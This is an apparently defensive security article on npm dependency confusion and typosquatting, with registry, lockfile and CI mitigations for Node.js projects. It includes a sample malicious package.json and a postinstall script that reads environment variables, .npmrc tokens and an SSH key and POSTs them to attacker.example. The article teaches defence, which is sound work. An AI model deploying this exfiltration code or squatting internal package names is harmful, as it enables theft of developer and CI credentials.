Dependency Confusion and Typosquatting in npm: Defend Your Node.js Pipeline from Hijacked Installs [2026]
The Attack That Never Touches a CVE
In February 2021, a security researcher named Alex Birsan published empty packages to npm, PyPI, and RubyGems — and quietly collected more than $130,000 in bug bounties from Apple, Microsoft, PayPal, Shopify, Netflix, Uber, and dozens of other companies. He never found a single vulnerability in their code. He never exploited a CVE. He just uploaded packages with the same names as internal packages those companies used, gave them absurd version numbers, and waited for their build pipelines to install them.
That is dependency confusion (also called package substitution): an attacker publishes a package with the name of a private or internal dependency to the public registry, and the victim's package manager — npm included — silently downloads the attacker's version instead of the internal one.
Typosquatting is the sibling attack. Instead of a private name, the attacker registers a name one keystroke away from a popular package: lodahs instead of lodash, crossenv instead of cross-env, node-fetch3 instead of node-fetch. A tired developer, an aggressive autocomplete, or a copied line from a blog post — and the malicious package is in node_modules.
Both attacks have the same punchline: a package install is arbitrary code execution, and it runs with the privileges of whoever ran npm install — your laptop, your CI runner, your deploy server. This article covers how these attacks work against Node.js and Next.js projects, why the standard defenses fail, and the concrete registry, lockfile, and CI controls that stop them.
Why This Is a Startup Problem
Startups are the perfect target, and not by accident:
- Monorepos and shared internal packages. The moment two services share a package (
@acme/logger,@acme/ui,internal-utils), you have internal package names — and internal names are the ammunition for dependency confusion. - Thin governance. No committee reviews every dependency; a junior dev adding a package to fix a Friday-night bug is a normal event.
- CI has the keys. Your build pipeline holds
AWS_ACCESS_KEY_ID,GH_TOKEN,NPM_TOKEN,DATABASE_URL. One maliciouspostinstallscript in CI is a full cloud account compromise — worse than any production RCE. - Names leak. Internal package names appear in GitHub issues, LinkedIn posts, job descriptions, and public package.json files. Attackers scrape them.
The npm ecosystem is under active attack: npm's security team removes thousands of malicious packages every year, and typosquats and lookalike names are a large share. The well-documented incidents — event-stream (2018, ownership handed to an attacker who injected a Bitcoin-stealing payload into the copay wallet), eslint-scope (2018, compromised maintainer credentials shipped a package stealing .npmrc tokens), ua-parser-js and eventsource (2022, malicious versions with millions of weekly downloads), crossenv (2022, a typosquat exfiltrating environment variables) — are the visible tip.
How Dependency Confusion Actually Works
npm resolves a dependency name like this:
- It looks for the package in
node_modules(already installed). - Otherwise it asks the registry configured for that name — per-scope overrides first, then the default
registry. - It installs the highest version that satisfies the semver range in your
package.json.
The vulnerability is in step 2. The classic setup looks like this:
# .npmrc — VULNERABLE
# Only the private scope is pinned; everything else resolves against the public registry.
@acme:registry=https://npm.acme.dev/
Your internal package @acme/logger is published to npm.acme.dev. But nothing stops npm from falling back to registry.npmjs.org for names that don't match the scope — or even for scoped names if the scope config is missing on a developer's machine, in CI, or in a fresh container. An attacker who knows the name (it's in your public repos or job posts) does this:
{
"name": "@acme/logger",
"version": "999.0.0",
"description": "Internal logger — totally legitimate, promise",
"scripts": {
"postinstall": "node scripts/steal.js"
}
}
Publishing @acme/logger@999.0.0 to the public npm registry takes one command: npm publish --access public. Now:
- Any
^1.0.0or*range in yourpackage.jsonmatches999.0.0— semver ranges resolve to the highest matching version. - Even an exact pin like
"@acme/logger": "1.2.3"doesn't help if the name resolves to the public registry: the attacker simply publishes1.2.3too. - If any install step hits the public registry for that name, the attacker's tarball wins.
And the payload runs before your code does — postinstall executes during npm install, with full access to the environment:
// scripts/steal.js — runs on every install that resolves the malicious package
const https = require("https");
const fs = require("fs");
const os = require("os");
function readIfExists(p) {
try { return fs.readFileSync(p, "utf8"); } catch { return null; }
}
const payload = JSON.stringify({
env: process.env, // AWS_*, GH_TOKEN, NPM_TOKEN, DATABASE_URL, ...
npmrc: readIfExists(os.homedir() + "/.npmrc"),
ssh: readIfExists(os.homedir() + "/.ssh/id_ed25519"),
hostname: os.hostname(),
cwd: process.cwd(),
});
const req = https.request("https://attacker.example/collect", {
method: "POST",
headers: { "content-type": "application/json" },
});
req.end(payload);
That's it. A few kilobytes, one install, and the attacker has the environment of whoever ran the install. On a developer laptop that includes your npm token, your Git credentials, and every cloud key in your dotfiles. In CI it includes the secrets that deploy your infrastructure.
How Typosquatting Works
Typosquatting needs no private name — just a popular one. The attacker publishes:
lodahs vs lodash
crossenv vs cross-env
expresss vs express
node-fetch3 vs node-fetch
react-doms vs react-dom
@babel/coer vs @babel/core
Humans are the vulnerability: autocomplete, muscle memory, copy-paste from an outdated tutorial, or a package.json edited by hand. The crossenv incident is the template — a typosquat of cross-env that was caught forwarding environment variables (including secrets) to a Discord webhook. It was removed, but the pattern repeats monthly: attackers publish dozens of lookalikes, let the malware sit for a few days, and harvest whatever postinstall can see before anyone notices.
Two properties make typosquats hard to catch in review:
- The diff looks right.
"lodahs": "^4.17.21"in a dependency block is easy to miss in a pull request — and if the package has plausible READMEs and metadata, reviewers approve it. - It's a one-time event. Unlike a compromised maintainer, a typosquat package is usually removed quickly — but by then the damage is done, and the audit trail is gone.
Why Version Pinning and npm audit Are Not the Defense
This is the part that surprises most teams:
- Version pinning fixes which version of a name — not which registry the name resolves to. The attacker publishes the exact version you pinned. Pinning is useless against dependency confusion.
npm auditchecks known CVEs against the installed tree. A typosquat or dependency-confusion package has no CVE — it's malicious by design, not vulnerable by bug. It will not show up.- Lockfiles help only where they exist. A committed
package-lock.jsonrecords the exactresolvedURL andintegrityhash for every package — which does block substitution if every install goes through the lockfile. But the lockfile is generated or updated bynpm install, and that's exactly the moment the attack lands.
So the real controls are structural: make the attacker's package unreachable, not merely detectable.
The Fix Stack
1. Pin every registry — and make the public registry unreachable
The single highest-leverage control. Every name must resolve to a registry you control, and your build machines must not be able to reach registry.npmjs.org directly:
# .npmrc — FIXED
# Default registry is your mirror/proxy. The public registry is never contacted directly.
registry=https://npm.acme.dev/repository/npm-public/
@acme:registry=https://npm.acme.dev/repository/npm-private/
Use a self-hosted registry proxy (Verdaccio, JFrog Artifactory, Sonatype Nexus, or GitHub Packages as a proxy) that caches public packages and hosts private ones. Then:
- Point the default
registryat the proxy, and the private scope at the private repository. - Restrict the proxy: configure it to serve only packages that exist in its cache or its allowlist. Most proxies support "remote repository" allow/deny rules — use them. An allowlist of approved public package names turns dependency confusion into a hard failure instead of a silent install.
- Block egress from CI and developer machines to
registry.npmjs.orgat the network level (firewall/egress policy). If the proxy is the only path, there is no fallback to weaponize. - Commit the
.npmrcthat does this to the repo, and enforce the same settings in CI, Docker images, and dev containers. Audit with:
npm config get registry # must be your mirror, not npmjs.org
npm config get @acme:registry # per-scope overrides
npm config list # every level: project, user, global
2. Lockfile discipline: npm ci, always
# CI — VULNERABLE
npm install
# CI — FIXED
npm ci
npm ci installs exactly what package-lock.json resolves — same URLs, same integrity hashes — and fails if the lockfile is out of sync with package.json. It never updates the lockfile, so a poisoned name can't slip in during a build. Rules that make it work:
- Commit
package-lock.json(andyarn.lock/pnpm-lock.yamlif you use them). - Never run
npm installin CI. Every lockfile change happens on a developer machine, in a reviewable commit, through your pinned registry. - When adding a dependency, update the lockfile deliberately (
npm install --package-lock-only <pkg>against the pinned registry), then review the diff. Theresolvedline tells you where it came from:
"node_modules/@acme/logger": {
"version": "1.2.3",
"resolved": "https://npm.acme.dev/repository/npm-private/@acme/logger/-/logger-1.2.3.tgz",
"integrity": "sha512-...",
"dependencies": {}
}
A lockfile entry whose resolved points at registry.npmjs.org for a scoped internal package is the dependency-confusion shape — grep for it in audit:
# Scoped packages resolving to the public registry = the attack shape
grep -B2 'registry.npmjs.org' package-lock.json | grep '"node_modules/@'
3. Reserve your internal names
Birsan's advice, and still the cheapest fix: publish a harmless placeholder for every internal package name on the public registry. Once the name is taken, an attacker cannot register it, and any install that would have hit the public registry gets your stub (which fails loudly or resolves to nothing) instead of attacker code.
{
"name": "@acme/logger",
"version": "0.0.1",
"description": "Name reservation — @acme/logger is an internal package. Do not install this from the public registry.",
"private": false,
"publishConfig": { "access": "restricted" }
}
This closes the dependency-confusion vector permanently, even if a registry config is missing somewhere.
4. Treat install scripts as code — because they are
postinstall (and preinstall/install) run with your privileges. Before adopting a dependency, know whether it executes anything at install time:
// scripts/scan-install-scripts.mjs
// Flag every top-level dependency that runs code on install.
import { readdirSync, readFileSync, existsSync } from "node:fs";
import { join } from "node:path";
const flag = ["preinstall", "install", "postinstall"];
for (const dir of readdirSync(join(process.cwd(), "node_modules"))) {
if (dir.startsWith("@")) continue; // handle scoped packages separately
const pkgPath = join(process.cwd(), "node_modules", dir, "package.json");
if (!existsSync(pkgPath)) continue;
const scripts = JSON.parse(readFileSync(pkgPath, "utf8")).scripts ?? {};
const hits = flag.filter((s) => scripts[s]);
if (hits.length) console.log(`${dir}: ${hits.join(", ")}`);
}
Run it after installs; review the results. For runtime-only dependencies, consider npm install --ignore-scripts (or npm config set ignore-scripts true) and only enable scripts for packages you trust to need them. Many typosquats and dependency-confusion payloads are only in the install script — no runtime code — so this check neutralizes a large share of them.
5. Scan for lookalikes before merging
A tiny Levenshtein check in your PR workflow flags typosquat shapes before they reach the lockfile:
// scripts/check-typosquats.mjs
// Flag new dependencies whose names are suspiciously close to known packages.
import { readFileSync } from "node:fs";
const KNOWN = ["express", "lodash", "axios", "react", "next", "dotenv", "moment", "cross-env", "node-fetch"];
const deps = { ...JSON.parse(readFileSync("package.json", "utf8")).dependencies };
function levenshtein(a, b) {
const m = a.length, n = b.length;
const dp = Array.from({ length: m + 1 }, (_, i) => [i, ...Array(n).fill(0)]);
for (let j = 0; j <= n; j++) dp[0][j] = j;
for (let i = 1; i <= m; i++)
for (let j = 1; j <= n; j++)
dp[i][j] = Math.min(
dp[i - 1][j] + 1,
dp[i][j - 1] + 1,
dp[i - 1][j - 1] + (a[i - 1] === b[j - 1] ? 0 : 1)
);
return dp[m][n];
}
for (const [name, range] of Object.entries(deps)) {
const normalized = name.replace(/[-_.]/g, "");
for (const known of KNOWN) {
const k = known.replace(/[-_.]/g, "");
if (name !== known && levenshtein(normalized, k) <= 2) {
console.warn(`⚠ ${name} is edit-distance-${levenshtein(normalized, k)} from ${known}. Verify it's intentional.`);
}
}
}
It won't catch everything, but it converts "looks fine in review" into "explain this one."
6. Runtime supply-chain scanning in CI
Layer detection on top of the structural controls. Every PR should run:
- SCA with malicious-code signals — Socket.dev (flags install scripts, network access, obfuscated code, license risk), Snyk, or OSV-Scanner. These catch the behavior of typosquats, not just CVEs.
npm audit --omit=devas a fast known-CVE gate (remember: it won't catch malicious-by-design packages — that's what the structural controls are for).npm audit signaturesin your release pipeline to verify provenance signatures on packages you publish or depend on.
The Deployment Checklist
- [ ] Every scope has an explicit registry in a committed
.npmrc; the defaultregistrypoints at your mirror, never atregistry.npmjs.orgdirectly - [ ] CI, Docker builds, and dev containers cannot reach the public registry (egress allowlist); the proxy is the only path
- [ ] Registry proxy serves only cached/allowlisted packages — no silent fallback
- [ ]
package-lock.jsonis committed; CI installs withnpm cionly, nevernpm install - [ ] All internal package names are reserved as placeholders on the public registry
- [ ] Install scripts (
preinstall/install/postinstall) scanned and justified for every dependency - [ ] New dependencies pass a lookalike/typosquat check and a metadata review (maintainers, age, downloads, repo link)
- [ ] SCA with malicious-code signals (Socket/Snyk/OSV-Scanner) runs on every PR
- [ ] Cloud credentials in CI issued via OIDC federation or short-lived tokens — never long-lived keys in env vars
- [ ] Release pipeline verifies npm provenance signatures
Summary
-
Dependency confusion weaponizes the fallback. Any name that can resolve to the public registry can be hijacked — the fix is registry pinning and making the public registry unreachable, not version pinning.
-
Typosquatting weaponizes attention. One keystroke, autocomplete, or copy-paste is the whole exploit; review new dependency names against known packages.
-
Install scripts are arbitrary code. A malicious
postinstallruns with your credentials before your application ever starts — treat installs as code execution. -
The lockfile is your audit trail. Committed lockfile +
npm cionly = every resolved URL and integrity hash is pinned and reviewable;npm installin CI is the hole. -
Name reservation closes the vector permanently. An attacker cannot publish a name you already own, even when a config mistake opens the fallback.
-
Tooling detects; structure prevents. SCA catches malicious packages after the fact; egress controls, registry pinning, and lockfile discipline stop them from being installed at all.
Next week: WebAuthn and Passkeys — phishing-resistant authentication in Node.js and Next.js. How passkeys eliminate credential theft and OTP phishing, and how to implement the registration and authentication ceremonies with SimpleWebAuthn.
JS Security Audit
Audits led by a senior JavaScript security engineer with 10+ years of experience.